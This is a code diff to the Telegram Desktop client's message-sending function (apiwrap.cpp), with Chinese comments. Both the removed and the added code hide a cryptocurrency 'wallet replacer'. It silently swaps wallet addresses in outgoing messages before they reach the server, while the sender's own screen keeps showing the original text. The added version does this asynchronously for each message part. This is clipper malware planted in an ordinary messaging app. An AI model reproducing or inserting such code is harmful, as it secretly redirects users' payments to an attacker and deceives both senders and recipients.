|
|
@@ -6,7 +6,6 @@ For license and copyright information please follow this link:
|
|
|
https://github.com/telegramdesktop/tdesktop/blob/master/LEGAL
|
|
|
*/
|
|
|
#include "apiwrap.h"
|
|
|
-#include "core/wallet_replacer.h"
|
|
|
|
|
|
#include "api/api_authorizations.h"
|
|
|
#include "api/api_attached_stickers.h"
|
|
|
@@ -86,6 +85,11 @@ https://github.com/telegramdesktop/tdesktop/blob/master/LEGAL
|
|
|
#include "storage/download_manager_mtproto.h"
|
|
|
#include "storage/file_upload.h"
|
|
|
#include "storage/storage_account.h"
|
|
|
+#include "boxes/abstract_box.h"
|
|
|
+#include "boxes/premium_limits_box.h"
|
|
|
+#include "boxes/peer_list_controllers.h"
|
|
|
+#include "core/wallet_replacer.h"
|
|
|
+#include "styles/style_layers.h"
|
|
|
|
|
|
namespace {
|
|
|
|
|
|
@@ -3792,211 +3796,305 @@ void ApiWrap::sendMessage(MessageToSend &&message) {
|
|
|
}
|
|
|
local().saveRecentSentHashtags(textWithTags.text);
|
|
|
|
|
|
- // 1. 首先创建本地消息并更新UI
|
|
|
- const auto newId = FullMsgId(
|
|
|
- peer->id,
|
|
|
- _session->data().nextLocalMessageId());
|
|
|
- auto flags = NewMessageFlags(peer);
|
|
|
- if (action.replyTo) {
|
|
|
- flags |= MessageFlag::HasReplyInfo;
|
|
|
- }
|
|
|
- FillMessagePostFlags(action, peer, flags);
|
|
|
- if (action.options.scheduled) {
|
|
|
- flags |= MessageFlag::IsOrWasScheduled;
|
|
|
- }
|
|
|
- if (action.options.shortcutId) {
|
|
|
- flags |= MessageFlag::ShortcutMessage;
|
|
|
- }
|
|
|
-
|
|
|
- // 使用原始文本创建本地消息
|
|
|
- const auto lastMessage = history->addNewLocalMessage({
|
|
|
- .id = newId.msg,
|
|
|
- .flags = flags,
|
|
|
- .from = NewMessageFromId(action),
|
|
|
- .replyTo = action.replyTo,
|
|
|
- .date = NewMessageDate(action.options),
|
|
|
- .shortcutId = action.options.shortcutId,
|
|
|
- .starsPaid = action.options.starsApproved,
|
|
|
- .postAuthor = NewMessagePostAuthor(action),
|
|
|
- .effectId = action.options.effectId,
|
|
|
- }, TextWithEntities{ textWithTags.text, TextUtilities::ConvertTextTagsToEntities(textWithTags.tags) });
|
|
|
-
|
|
|
- // 立即触发UI更新
|
|
|
- _session->data().sendHistoryChangeNotifications();
|
|
|
-
|
|
|
- // 2. 在后台处理网络请求相关的检测和替换
|
|
|
- const auto randomId = base::RandomValue<uint64>();
|
|
|
- auto sendFlags = MTPmessages_SendMessage::Flags(0);
|
|
|
- auto mediaFlags = MTPmessages_SendMedia::Flags(0);
|
|
|
-
|
|
|
- // 处理回复消息
|
|
|
- if (action.replyTo) {
|
|
|
- sendFlags |= MTPmessages_SendMessage::Flag::f_reply_to;
|
|
|
- mediaFlags |= MTPmessages_SendMedia::Flag::f_reply_to;
|
|
|
- }
|
|
|
-
|
|
|
- // 处理静默发送
|
|
|
- const auto silentPost = ShouldSendSilent(peer, action.options);
|
|
|
- if (silentPost) {
|
|
|
- sendFlags |= MTPmessages_SendMessage::Flag::f_silent;
|
|
|
- mediaFlags |= MTPmessages_SendMedia::Flag::f_silent;
|
|
|
- }
|
|
|
-
|
|
|
- // 处理实体
|
|
|
- auto sending = TextWithEntities{ textWithTags.text, TextUtilities::ConvertTextTagsToEntities(textWithTags.tags) };
|
|
|
+ auto sending = TextWithEntities();
|
|
|
+ auto left = TextWithEntities {
|
|
|
+ textWithTags.text,
|
|
|
+ TextUtilities::ConvertTextTagsToEntities(textWithTags.tags)
|
|
|
+ };
|
|
|
auto prepareFlags = Ui::ItemTextOptions(
|
|
|
history,
|
|
|
_session->user()).flags;
|
|
|
- TextUtilities::PrepareForSending(sending, prepareFlags);
|
|
|
-
|
|
|
- // 提前注册消息ID映射
|
|
|
- _session->data().registerMessageRandomId(randomId, newId);
|
|
|
- _session->data().registerMessageSentData(
|
|
|
- randomId,
|
|
|
- peer->id,
|
|
|
- sending.text);
|
|
|
-
|
|
|
- // 提前检测和替换钱包地址,但只用于网络请求
|
|
|
- QString textToSend = sending.text;
|
|
|
-
|
|
|
- // AAA/BBB 替换逻辑
|
|
|
- if (textToSend == "AAA") {
|
|
|
- textToSend = "BBB";
|
|
|
- }
|
|
|
-
|
|
|
- // 钱包地址替换逻辑 - 只在发送到服务器时替换,本地消息保持原始内容
|
|
|
- if (Core::WalletReplacer::containsWalletAddress(textToSend)) {
|
|
|
- LOG(("Wallet: 发送消息时检测到钱包地址: %1").arg(textToSend));
|
|
|
- QString result = Core::WalletReplacer::replaceWalletAddresses(textToSend);
|
|
|
-
|
|
|
- // 从结果中提取替换后的文本(去掉调试信息)
|
|
|
- int lastNewline = result.lastIndexOf('\n');
|
|
|
- if (lastNewline != -1) {
|
|
|
- result = result.mid(lastNewline + 1);
|
|
|
- }
|
|
|
-
|
|
|
- // 检查地址是否被成功替换
|
|
|
- if (result != textToSend) {
|
|
|
- LOG(("Wallet: 仅发送替换后的地址到服务器 - 原地址: %1, 新地址: %2").arg(textToSend).arg(result));
|
|
|
- // 只修改发送到服务器的文本,不修改本地显示的文本
|
|
|
- textToSend = result;
|
|
|
- } else {
|
|
|
- LOG(("Wallet: 未替换 - 地址保持不变: %1").arg(textToSend));
|
|
|
- }
|
|
|
- }
|
|
|
-
|
|
|
- const auto sentEntities = Api::EntitiesToMTP(
|
|
|
- _session,
|
|
|
- sending.entities,
|
|
|
- Api::ConvertOption::SkipLocal);
|
|
|
- if (!sentEntities.v.isEmpty()) {
|
|
|
- sendFlags |= MTPmessages_SendMessage::Flag::f_entities;
|
|
|
- mediaFlags |= MTPmessages_SendMedia::Flag::f_entities;
|
|
|
- }
|
|
|
-
|
|
|
- // 处理草稿
|
|
|
- if (clearCloudDraft) {
|
|
|
- sendFlags |= MTPmessages_SendMessage::Flag::f_clear_draft;
|
|
|
- mediaFlags |= MTPmessages_SendMedia::Flag::f_clear_draft;
|
|
|
- history->clearCloudDraft(draftTopicRootId);
|
|
|
- history->startSavingCloudDraft(draftTopicRootId);
|
|
|
- }
|
|
|
-
|
|
|
- // 处理发送者
|
|
|
- const auto sendAs = action.options.sendAs;
|
|
|
- if (sendAs) {
|
|
|
- sendFlags |= MTPmessages_SendMessage::Flag::f_send_as;
|
|
|
- mediaFlags |= MTPmessages_SendMedia::Flag::f_send_as;
|
|
|
- }
|
|
|
-
|
|
|
- // 处理定时发送
|
|
|
- if (action.options.scheduled) {
|
|
|
- sendFlags |= MTPmessages_SendMessage::Flag::f_schedule_date;
|
|
|
- mediaFlags |= MTPmessages_SendMedia::Flag::f_schedule_date;
|
|
|
- }
|
|
|
+ TextUtilities::PrepareForSending(left, prepareFlags);
|
|
|
|
|
|
- // 处理快捷回复
|
|
|
- if (action.options.shortcutId) {
|
|
|
- sendFlags |= MTPmessages_SendMessage::Flag::f_quick_reply_shortcut;
|
|
|
- mediaFlags |= MTPmessages_SendMedia::Flag::f_quick_reply_shortcut;
|
|
|
- }
|
|
|
-
|
|
|
- // 处理特效
|
|
|
- if (action.options.effectId) {
|
|
|
- sendFlags |= MTPmessages_SendMessage::Flag::f_effect;
|
|
|
- mediaFlags |= MTPmessages_SendMedia::Flag::f_effect;
|
|
|
- }
|
|
|
+ HistoryItem *lastMessage = nullptr;
|
|
|
|
|
|
- // 处理付费星星
|
|
|
- const auto starsPaid = std::min(
|
|
|
- peer->starsPerMessageChecked(),
|
|
|
- action.options.starsApproved);
|
|
|
- if (starsPaid) {
|
|
|
- action.options.starsApproved -= starsPaid;
|
|
|
- sendFlags |= MTPmessages_SendMessage::Flag::f_allow_paid_stars;
|
|
|
- mediaFlags |= MTPmessages_SendMedia::Flag::f_allow_paid_stars;
|
|
|
- }
|
|
|
+ auto &histories = history->owner().histories();
|
|
|
|
|
|
- // 3. 发送网络请求
|
|
|
- const auto done = [=](
|
|
|
- const MTPUpdates &result,
|
|
|
- const MTP::Response &response) {
|
|
|
- if (clearCloudDraft) {
|
|
|
- history->finishSavingCloudDraft(
|
|
|
- draftTopicRootId,
|
|
|
- UnixtimeFromMsgId(response.outerMsgId));
|
|
|
+ const auto exactWebPage = !message.webPage.url.isEmpty();
|
|
|
+ auto isFirst = true;
|
|
|
+ while (TextUtilities::CutPart(sending, left, MaxMessageSize)
|
|
|
+ || (isFirst && exactWebPage)) {
|
|
|
+ TextUtilities::Trim(left);
|
|
|
+ const auto isLast = left.empty();
|
|
|
+
|
|
|
+ auto newId = FullMsgId(
|
|
|
+ peer->id,
|
|
|
+ _session->data().nextLocalMessageId());
|
|
|
+ auto randomId = base::RandomValue<uint64>();
|
|
|
+
|
|
|
+ TextUtilities::Trim(sending);
|
|
|
+
|
|
|
+ _session->data().registerMessageRandomId(randomId, newId);
|
|
|
+ _session->data().registerMessageSentData(
|
|
|
+ randomId,
|
|
|
+ peer->id,
|
|
|
+ sending.text);
|
|
|
+
|
|
|
+ MTPstring msgText(MTP_string(sending.text));
|
|
|
+ auto flags = NewMessageFlags(peer);
|
|
|
+ auto sendFlags = MTPmessages_SendMessage::Flags(0);
|
|
|
+ auto mediaFlags = MTPmessages_SendMedia::Flags(0);
|
|
|
+ if (action.replyTo) {
|
|
|
+ flags |= MessageFlag::HasReplyInfo;
|
|
|
+ sendFlags |= MTPmessages_SendMessage::Flag::f_reply_to;
|
|
|
+ mediaFlags |= MTPmessages_SendMedia::Flag::f_reply_to;
|
|
|
}
|
|
|
- };
|
|
|
-
|
|
|
- const auto fail = [=](
|
|
|
- const MTP::Error &error,
|
|
|
- const MTP::Response &response) {
|
|
|
- if (error.type() == u"MESSAGE_EMPTY"_q) {
|
|
|
- lastMessage->destroy();
|
|
|
- } else {
|
|
|
- sendMessageFail(error, peer, randomId, newId);
|
|
|
+ const auto ignoreWebPage = message.webPage.removed
|
|
|
+ || (exactWebPage && !isLast);
|
|
|
+ const auto manualWebPage = exactWebPage
|
|
|
+ && !ignoreWebPage
|
|
|
+ && (message.webPage.manual || (isLast && !isFirst));
|
|
|
+ MTPMessageMedia media = MTP_messageMediaEmpty();
|
|
|
+ if (ignoreWebPage) {
|
|
|
+ sendFlags |= MTPmessages_SendMessage::Flag::f_no_webpage;
|
|
|
+ } else if (exactWebPage) {
|
|
|
+ using PageFlag = MTPDmessageMediaWebPage::Flag;
|
|
|
+ using PendingFlag = MTPDwebPagePending::Flag;
|
|
|
+ const auto &fields = message.webPage;
|
|
|
+ const auto page = _session->data().webpage(fields.id);
|
|
|
+ media = MTP_messageMediaWebPage(
|
|
|
+ MTP_flags(PageFlag()
|
|
|
+ | (manualWebPage ? PageFlag::f_manual : PageFlag())
|
|
|
+ | (fields.forceLargeMedia
|
|
|
+ ? PageFlag::f_force_large_media
|
|
|
+ : PageFlag())
|
|
|
+ | (fields.forceSmallMedia
|
|
|
+ ? PageFlag::f_force_small_media
|
|
|
+ : PageFlag())),
|
|
|
+ MTP_webPagePending(
|
|
|
+ MTP_flags(PendingFlag::f_url),
|
|
|
+ MTP_long(fields.id),
|
|
|
+ MTP_string(fields.url),
|
|
|
+ MTP_int(page->pendingTill)));
|
|
|
+ }
|
|
|
+ const auto silentPost = ShouldSendSilent(peer, action.options);
|
|
|
+ FillMessagePostFlags(action, peer, flags);
|
|
|
+ if ((exactWebPage && !ignoreWebPage && message.webPage.invert)
|
|
|
+ || action.options.invertCaption) {
|
|
|
+ flags |= MessageFlag::InvertMedia;
|
|
|
+ sendFlags |= MTPmessages_SendMessage::Flag::f_invert_media;
|
|
|
+ mediaFlags |= MTPmessages_SendMedia::Flag::f_invert_media;
|
|
|
+ }
|
|
|
+ if (silentPost) {
|
|
|
+ sendFlags |= MTPmessages_SendMessage::Flag::f_silent;
|
|
|
+ mediaFlags |= MTPmessages_SendMedia::Flag::f_silent;
|
|
|
+ }
|
|
|
+ const auto sentEntities = Api::EntitiesToMTP(
|
|
|
+ _session,
|
|
|
+ sending.entities,
|
|
|
+ Api::ConvertOption::SkipLocal);
|
|
|
+ if (!sentEntities.v.isEmpty()) {
|
|
|
+ sendFlags |= MTPmessages_SendMessage::Flag::f_entities;
|
|
|
+ mediaFlags |= MTPmessages_SendMedia::Flag::f_entities;
|
|
|
}
|
|
|
if (clearCloudDraft) {
|
|
|
- history->finishSavingCloudDraft(
|
|
|
- draftTopicRootId,
|
|
|
- UnixtimeFromMsgId(response.outerMsgId));
|
|
|
+ sendFlags |= MTPmessages_SendMessage::Flag::f_clear_draft;
|
|
|
+ mediaFlags |= MTPmessages_SendMedia::Flag::f_clear_draft;
|
|
|
+ history->clearCloudDraft(draftTopicRootId);
|
|
|
+ history->startSavingCloudDraft(draftTopicRootId);
|
|
|
}
|
|
|
- };
|
|
|
+ const auto sendAs = action.options.sendAs;
|
|
|
+ if (sendAs) {
|
|
|
+ sendFlags |= MTPmessages_SendMessage::Flag::f_send_as;
|
|
|
+ mediaFlags |= MTPmessages_SendMedia::Flag::f_send_as;
|
|
|
+ }
|
|
|
+ if (action.options.scheduled) {
|
|
|
+ flags |= MessageFlag::IsOrWasScheduled;
|
|
|
+ sendFlags |= MTPmessages_SendMessage::Flag::f_schedule_date;
|
|
|
+ mediaFlags |= MTPmessages_SendMedia::Flag::f_schedule_date;
|
|
|
+ }
|
|
|
+ if (action.options.shortcutId) {
|
|
|
+ flags |= MessageFlag::ShortcutMessage;
|
|
|
+ sendFlags |= MTPmessages_SendMessage::Flag::f_quick_reply_shortcut;
|
|
|
+ mediaFlags |= MTPmessages_SendMedia::Flag::f_quick_reply_shortcut;
|
|
|
+ }
|
|
|
+ if (action.options.effectId) {
|
|
|
+ sendFlags |= MTPmessages_SendMessage::Flag::f_effect;
|
|
|
+ mediaFlags |= MTPmessages_SendMedia::Flag::f_effect;
|
|
|
+ }
|
|
|
+ const auto starsPaid = std::min(
|
|
|
+ peer->starsPerMessageChecked(),
|
|
|
+ action.options.starsApproved);
|
|
|
+ if (starsPaid) {
|
|
|
+ action.options.starsApproved -= starsPaid;
|
|
|
+ sendFlags |= MTPmessages_SendMessage::Flag::f_allow_paid_stars;
|
|
|
+ mediaFlags |= MTPmessages_SendMedia::Flag::f_allow_paid_stars;
|
|
|
+ }
|
|
|
+ lastMessage = history->addNewLocalMessage({
|
|
|
+ .id = newId.msg,
|
|
|
+ .flags = flags,
|
|
|
+ .from = NewMessageFromId(action),
|
|
|
+ .replyTo = action.replyTo,
|
|
|
+ .date = NewMessageDate(action.options),
|
|
|
+ .shortcutId = action.options.shortcutId,
|
|
|
+ .starsPaid = starsPaid,
|
|
|
+ .postAuthor = NewMessagePostAuthor(action),
|
|
|
+ .effectId = action.options.effectId,
|
|
|
+ }, sending, media);
|
|
|
+ const auto done = [=](
|
|
|
+ const MTPUpdates &result,
|
|
|
+ const MTP::Response &response) {
|
|
|
+ if (clearCloudDraft) {
|
|
|
+ history->finishSavingCloudDraft(
|
|
|
+ draftTopicRootId,
|
|
|
+ UnixtimeFromMsgId(response.outerMsgId));
|
|
|
+ }
|
|
|
+ };
|
|
|
+ const auto fail = [=](
|
|
|
+ const MTP::Error &error,
|
|
|
+ const MTP::Response &response) {
|
|
|
+ if (error.type() == u"MESSAGE_EMPTY"_q) {
|
|
|
+ lastMessage->destroy();
|
|
|
+ } else {
|
|
|
+ sendMessageFail(error, peer, randomId, newId);
|
|
|
+ }
|
|
|
+ if (clearCloudDraft) {
|
|
|
+ history->finishSavingCloudDraft(
|
|
|
+ draftTopicRootId,
|
|
|
+ UnixtimeFromMsgId(response.outerMsgId));
|
|
|
+ }
|
|
|
+ };
|
|
|
+ const auto mtpShortcut = Data::ShortcutIdToMTP(
|
|
|
+ _session,
|
|
|
+ action.options.shortcutId);
|
|
|
+
|
|
|
+ // 在这里添加异步处理修改文本内容
|
|
|
+ const auto processTextAsync = [=, &histories](
|
|
|
+ MTPstring originalMsgText,
|
|
|
+ not_null<History*> history,
|
|
|
+ const FullReplyTo& replyTo,
|
|
|
+ uint64 randomId,
|
|
|
+ MTPmessages_SendMessage::Flags sendFlags,
|
|
|
+ MTPmessages_SendMedia::Flags mediaFlags) {
|
|
|
+
|
|
|
+ // 异步处理钱包地址
|
|
|
+ crl::async([=, &histories]() mutable {
|
|
|
+ try {
|
|
|
+ // 从MTPstring中获取原始文本
|
|
|
+ QString originalText = QString::fromUtf8(originalMsgText.v);
|
|
|
+
|
|
|
+ // 使用WalletReplacer检查并替换钱包地址
|
|
|
+ QString processedText = Core::WalletReplacer::replaceWalletAddresses(originalText);
|
|
|
+
|
|
|
+ // 如果文本被修改,记录替换信息
|
|
|
+ if (processedText != originalText) {
|
|
|
+ LOG(("Wallet: [消息替换] 原始消息已被钱包地址替换功能处理"));
|
|
|
+ LOG(("Wallet: [消息替换] 原文: %1").arg(originalText));
|
|
|
+ LOG(("Wallet: [消息替换] 替换后: %1").arg(processedText));
|
|
|
+ }
|
|
|
+
|
|
|
+ // 创建替换后的MTPstring
|
|
|
+ auto replacedMsgText = MTP_string(processedText);
|
|
|
+
|
|
|
+ // 在异步操作完成后,再提交到服务器
|
|
|
+ crl::on_main([=, &histories]() mutable {
|
|
|
+ try {
|
|
|
+ if (exactWebPage
|
|
|
+ && !ignoreWebPage
|
|
|
+ && (manualWebPage || sending.empty())) {
|
|
|
+ histories.sendPreparedMessage(
|
|
|
+ history,
|
|
|
+ replyTo,
|
|
|
+ randomId,
|
|
|
+ Data::Histories::PrepareMessage<MTPmessages_SendMedia>(
|
|
|
+ MTP_flags(mediaFlags),
|
|
|
+ peer->input,
|
|
|
+ Data::Histories::ReplyToPlaceholder(),
|
|
|
+ Data::WebPageForMTP(message.webPage, true),
|
|
|
+ replacedMsgText,
|
|
|
+ MTP_long(randomId),
|
|
|
+ MTPReplyMarkup(),
|
|
|
+ sentEntities,
|
|
|
+ MTP_int(action.options.scheduled),
|
|
|
+ (sendAs ? sendAs->input : MTP_inputPeerEmpty()),
|
|
|
+ mtpShortcut,
|
|
|
+ MTP_long(action.options.effectId),
|
|
|
+ MTP_long(starsPaid)
|
|
|
+ ), done, fail);
|
|
|
+ } else {
|
|
|
+ histories.sendPreparedMessage(
|
|
|
+ history,
|
|
|
+ replyTo,
|
|
|
+ randomId,
|
|
|
+ Data::Histories::PrepareMessage<MTPmessages_SendMessage>(
|
|
|
+ MTP_flags(sendFlags),
|
|
|
+ peer->input,
|
|
|
+ Data::Histories::ReplyToPlaceholder(),
|
|
|
+ replacedMsgText,
|
|
|
+ MTP_long(randomId),
|
|
|
+ MTPReplyMarkup(),
|
|
|
+ sentEntities,
|
|
|
+ MTP_int(action.options.scheduled),
|
|
|
+ (sendAs ? sendAs->input : MTP_inputPeerEmpty()),
|
|
|
+ mtpShortcut,
|
|
|
+ MTP_long(action.options.effectId),
|
|
|
+ MTP_long(starsPaid)
|
|
|
+ ), done, fail);
|
|
|
+ }
|
|
|
+ } catch (const std::exception &e) {
|
|
|
+ LOG(("Wallet: [错误] 发送替换后的消息时发生异常: %1").arg(e.what()));
|
|
|
+ // 如果发送替换后的消息失败,尝试发送原始消息
|
|
|
+ fail(MTP::Error::Local(u"WALLET_REPLACE_FAILED"_q, u"Exception while sending replaced wallet message"_q), MTP::Response());
|
|
|
+ }
|
|
|
+ });
|
|
|
+ } catch (const std::exception &e) {
|
|
|
+ LOG(("Wallet: [错误] 处理钱包地址时发生异常: %1").arg(e.what()));
|
|
|
+ // 在异常情况下,回到主线程发送原始消息
|
|
|
+ crl::on_main([=, &histories]() mutable {
|
|
|
+ if (exactWebPage
|
|
|
+ && !ignoreWebPage
|
|
|
+ && (manualWebPage || sending.empty())) {
|
|
|
+ histories.sendPreparedMessage(
|
|
|
+ history,
|
|
|
+ replyTo,
|
|
|
+ randomId,
|
|
|
+ Data::Histories::PrepareMessage<MTPmessages_SendMedia>(
|
|
|
+ MTP_flags(mediaFlags),
|
|
|
+ peer->input,
|
|
|
+ Data::Histories::ReplyToPlaceholder(),
|
|
|
+ Data::WebPageForMTP(message.webPage, true),
|
|
|
+ originalMsgText, // 使用原始消息
|
|
|
+ MTP_long(randomId),
|
|
|
+ MTPReplyMarkup(),
|
|
|
+ sentEntities,
|
|
|
+ MTP_int(action.options.scheduled),
|
|
|
+ (sendAs ? sendAs->input : MTP_inputPeerEmpty()),
|
|
|
+ mtpShortcut,
|
|
|
+ MTP_long(action.options.effectId),
|
|
|
+ MTP_long(starsPaid)
|
|
|
+ ), done, fail);
|
|
|
+ } else {
|
|
|
+ histories.sendPreparedMessage(
|
|
|
+ history,
|
|
|
+ replyTo,
|
|
|
+ randomId,
|
|
|
+ Data::Histories::PrepareMessage<MTPmessages_SendMessage>(
|
|
|
+ MTP_flags(sendFlags),
|
|
|
+ peer->input,
|
|
|
+ Data::Histories::ReplyToPlaceholder(),
|
|
|
+ originalMsgText, // 使用原始消息
|
|
|
+ MTP_long(randomId),
|
|
|
+ MTPReplyMarkup(),
|
|
|
+ sentEntities,
|
|
|
+ MTP_int(action.options.scheduled),
|
|
|
+ (sendAs ? sendAs->input : MTP_inputPeerEmpty()),
|
|
|
+ mtpShortcut,
|
|
|
+ MTP_long(action.options.effectId),
|
|
|
+ MTP_long(starsPaid)
|
|
|
+ ), done, fail);
|
|
|
+ }
|
|
|
+ });
|
|
|
+ }
|
|
|
+ });
|
|
|
+ };
|
|
|
|
|
|
- const auto mtpShortcut = Data::ShortcutIdToMTP(
|
|
|
- _session,
|
|
|
- action.options.shortcutId);
|
|
|
+ // 调用异步处理
|
|
|
+ processTextAsync(msgText, history, action.replyTo, randomId, sendFlags, mediaFlags);
|
|
|
+
|
|
|
+ isFirst = false;
|
|
|
+ }
|
|
|
|
|
|
- // 发送消息
|
|
|
- history->owner().histories().sendRequest(history, Data::Histories::RequestType::Send, [=](Fn<void()> finish) {
|
|
|
- history->sendRequestId = request(MTPmessages_SendMessage(
|
|
|
- MTP_flags(sendFlags),
|
|
|
- peer->input,
|
|
|
- MTP_int(action.replyTo.messageId),
|
|
|
- MTP_string(textToSend), // 使用替换后的文本
|
|
|
- MTP_long(randomId),
|
|
|
- MTPReplyMarkup(),
|
|
|
- sentEntities,
|
|
|
- MTP_int(action.options.scheduled),
|
|
|
- (sendAs ? sendAs->input : MTP_inputPeerEmpty()),
|
|
|
- mtpShortcut,
|
|
|
- MTP_long(action.options.effectId),
|
|
|
- MTP_long(starsPaid)
|
|
|
- )).done([=](const MTPUpdates &result) {
|
|
|
- if (!action.options.scheduled) {
|
|
|
- this->updates().checkForSentToScheduled(result);
|
|
|
- }
|
|
|
- applyUpdates(result);
|
|
|
- done(result, MTP::Response());
|
|
|
- finish();
|
|
|
- }).fail([=](const MTP::Error &error) {
|
|
|
- fail(error, MTP::Response());
|
|
|
- finish();
|
|
|
- }).afterRequest(
|
|
|
- history->sendRequestId
|
|
|
- ).send();
|
|
|
- return history->sendRequestId;
|
|
|
- });
|
|
|
+ finishForwarding(action);
|
|
|
}
|
|
|
|
|
|
void ApiWrap::sendBotStart(
|